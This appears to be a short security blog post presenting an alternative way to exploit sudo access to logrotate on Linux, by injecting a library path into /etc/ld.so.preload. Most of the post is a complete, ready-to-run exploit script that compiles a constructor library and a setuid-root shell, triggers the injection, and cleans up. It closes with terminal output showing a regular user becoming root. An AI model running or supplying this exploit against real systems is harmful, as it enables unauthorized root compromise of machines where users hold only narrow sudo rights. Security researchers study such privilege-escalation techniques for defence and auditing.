Another way to exploit 'sudo logrotate'.
Just a quick post, I was reading this excellent blogpost showing a way to exploit sudo access to logrotate, and had a quick notion in my head that clobbering /etc/ld.so.preload
would also be a viable exploitation strategy.
The logrotate exploit shown relies on injecting some text into a file somewhere. The author uses this to whack cron or a bash completion file to get execution.
The dynamic linker on Linux is very permissive in how it parses the /etc/ld.so.preload
file, and if you can inject partially controlled content into it (even total garbage), so long as you can put a space or a newline in front of and after a string of text, you can then force the system to preload whatever library is stored at that path.
I've used this trick in a bunch of previous local root exploits I've written.
Basically, we will use 5 steps to exploit this issue.
- Drop and compile a shared library which will, upon being loaded,
chown
a suid-root backdoor to the root user, and set the suid bit on it. We also want the library tounlink
the/etc/ld.so.preload
file so it cleans up after itself. - Drop and compile a simple setuid-root shell.
- Call
sudo logrotate -l /etc/ld.so.preload ' /tmp/libhax.so '
so that logrotate shoves the string ' /tmp/libhax.so ' inside the/etc/ld.so.preload
file. - Call
sudo logrotate -h
to force our library to be preloaded by a root process. - Run our root shell.
Here is the exploit as a shell script:
#!/bin/bash
echo "~ logroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
sudo logrotate -l /etc/ld.so.preload ' /tmp/libhax.so '
echo "[+] Triggering..."
sudo logrotate -h
/tmp/rootshell
And here is an output of it running:
debian@debian:~$ id
uid=1000(debian) gid=1000(debian) groups=1000(debian),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev)
debian@debian:~$ ./logroot.sh
~ logroot ~
[+] First, we create our shell and library...
[+] Now we create our /etc/ld.so.preload file...
error: cannot stat /tmp/libhax.so : No such file or directory
[+] Triggering...
ERROR: ld.so: object 'error' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
< snipped a load of ld.so complaining >
[+] done!
logrotate: bad argument -h: unknown error
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(debian)
# exit
I hope you enjoyed seeing an 'alternative' approach to this exploit trickery.